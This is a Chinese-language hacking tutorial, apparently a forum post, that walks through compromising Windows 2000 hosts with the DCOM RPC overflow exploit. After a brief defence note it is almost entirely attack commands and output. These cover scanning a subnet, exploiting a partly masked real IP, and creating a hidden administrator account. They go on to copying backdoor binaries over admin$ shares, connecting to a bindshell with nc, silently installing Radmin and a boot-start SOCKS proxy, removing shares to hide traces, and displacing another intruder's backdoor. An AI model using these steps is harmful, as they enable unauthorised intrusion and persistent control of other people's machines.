教你用RPC漏洞入侵併打造完美后門
防禦辦法: 安裝rpc補丁
使用防火牆過濾135,445,139等埠
RPC漏洞入侵併打造完美后門!
現在網上很流行dcomrpc,哈哈,那好就說說利用dcomrpc入侵。和入侵之後做的事情 。
需要的工具:
很好的: radmin.exe
掃描工具: retinarpcdcom.exe
溢位攻擊工具:RpcDcom(通用溢位工具)
指令碼開啟telnet工具:telnet.vbe opentelnet.exe resumetelnet.exe
代理:sksockserver.exe
後門程式:WinEggDropShellPro3thVersion
好了,該做的都做的差不多了。現在開始把~~
首先使用retinarpcdcom.exe掃描一個網段。查詢有rpc漏洞的機子,這個漏洞需要135埠開放,(想必
隨便掃一下就會發現有許多主機開放的135埠)。。。。。。
(人走運座著都能檢到錢) 211.217.50.xx 第一個主機就被掃出來又此漏洞。開始工作
看看211.217.50.xx有沒有其他的漏洞或是若口令之類的.我們可以使用流光掃描一下, 好了..看樣子沒有
其他的缺陷,主機開了3389埠,我們可以上去看一下是xp版本還是win2k
哈哈,是win2k server版本
展開命令列:
[檢視dcomrpc的用法 用法 dcomrpc -d <host> [options]
F:/hack>cd rpc/dcomrpc
RPC DCOM Expl01t coded by .:[oc192.us]:. Security
Complied and Modified by Expl01t www.longker.com
Usage:
dcomrpc -d <host> [options]
Options:
-d: Hostname to attack [Required]
-t: Type [Default: 0]
-r: Return address [Default: Selected from target]
-p: Attack port [Default: 135]
-l: Bindshell port [Default: 666]
Types:
0 [0x0018759f]: [Win2k-Universal]
1 [0x0100139d]: [WinXP-Universal]
開始進行溢位:
F:/hack>cd rpc/dcomrpc -d 211.217.50.xx 0
X j,-vl
RPC DCOM remote expl01t - .:[oc192.us]:. Security
Complied and recorrected by Expl01t www.longker.com
[+] Resolving host..
[+] Done.
[+] Expl01ting....Just wait......
等到出現,說明溢位成功
c:/winnt/system32>
接著我們建立使用者
c:/winnt/system32>net user blueye$Content$nbsp;1111 /add
命令成功完成。
把使用者新增成超級管理員
c:/winnt/system32>net localgroup administrators blueye$Content$nbsp;/add
命令成功完成。
看看共享開了沒有,沒有的話把共享開開
c:/winnt/system32>net share
清單是空的。
c:/winnt/system32>net share ipc$Content$nbsp;
命令成功完成。
c:/winnt/system32>net share admin$Content$nbsp;
命令成功完成。
到這裡我們入侵告一段落
[ 建 立 IPC$Content$nbsp;連 接 ,也可以使用tftp上傳 ,先和對方建立連線]
F:/hack>net use //211.217.50.xx/ipc$Content$nbsp;"1111" /user:blueye$Content$nbsp;
[ 上 傳 一 個 後 門 程 序 到 對 方 的 主 機 裡]
F:/hack>copy d:/inject.exe //211.217.50.xx/admin$/system32
F:/hack>copy d:/tback.dll //211.217.50.xx/admin$/system32
然後執行後門程式,我們可以使用at命令。但是有的機器把at明令禁止了,建議直接開起telnet
使用opentelnet.exe 關閉開啟的telnet使用resumetelnet //ip user password
如果忘記開共享可以使用指令碼開啟telnet來開共享,用法:
cscript telnet.vbe ip user password null port (null是驗證方式)
F:/hack>opentenet //211.217.50.xx blueye$Content$nbsp;1111 1 4567
F:/hack>telnet 211.217.50.xx 4567
連線並執行後門程式,執行後門程式命令 根目錄:inject.exe -run
(後門使用方法和安裝都在zip檔案裡面包含了)
後門埠123456
F:/hack>nc 211.217.50.xx 123456
Welcome To WinEggDropShell Matrix Version
[Melody]#
下面安裝radmin
配置好的radmin客戶端有4個檔案。配置radmin客戶端可參考相關文章
radmin.reg
raddrv.dll
admdll.dll
r_server.exe
把這個4個檔案copy c:/winnt/system32
在目錄下面執行命令
c:/winnt/system32>r_server /s radmin.reg -----匯入登錄檔
c:/winnt/system32>r_server /install /silence -----安裝radmin.並且不顯示托盤
c:/winnt/system32>net start r_server ----- 啟動服務
可以開啟3389的話你自己看著辦把,哈哈
安裝sock代理
把sksockserver.exe copy c:/winnt/system32
c:/winnt/system32>sksockserver /install -----安裝服務
c:/winnt/system32>sksockserver -config port 1234 ----埠定在1234 自己可以改
c:/winnt/system32>sksockserver -config starttype 2 ----開機自動啟動
c:/winnt/system32>net start skserver ----啟動服務
最後刪除共享
net share ipc$Content$nbsp;/del
net share admin$Content$nbsp;/del
的時候你發現有人已經安裝了。。怎麼辦?走人?--------NO ?
看操作 (我輸入的內容)
後門連線
F:/hack>nc 211.217.50.xx 123456
c/"
Welcome To WinEggDropShell Matrix Version 13mQvA?-
[Melody]#(pslist)
[Melody]#(pskill r_server)
[Melody]#(shell)
c:/winnt/system32>(del r_server.exe)
c:/winnt/system32>(del admdll.dll)
c:/winnt/system32>(del raddrv.dll)
copy你自己的上去,然後安裝
省事的辦法直接匯入登錄檔,然後重新輸入安裝命令執行,就可以了,只是在原來預設埠上面架上了密
碼
等等。。。。為什麼我輸入匯入登錄檔命令不管用呢?出現什麼regedit不是可執行的程式之類的 。
完了,努力白費了。。。。。。。 -----------------------------NO
出現這樣的情況最簡單的解決辦法telnet上去匯入試試看,什麼?不是把,有沒有搞錯阿。。
呵呵,儘管放心,去試試看就知道;還可以先執行radmin 然後在radmin的dos下匯入,也是可以的。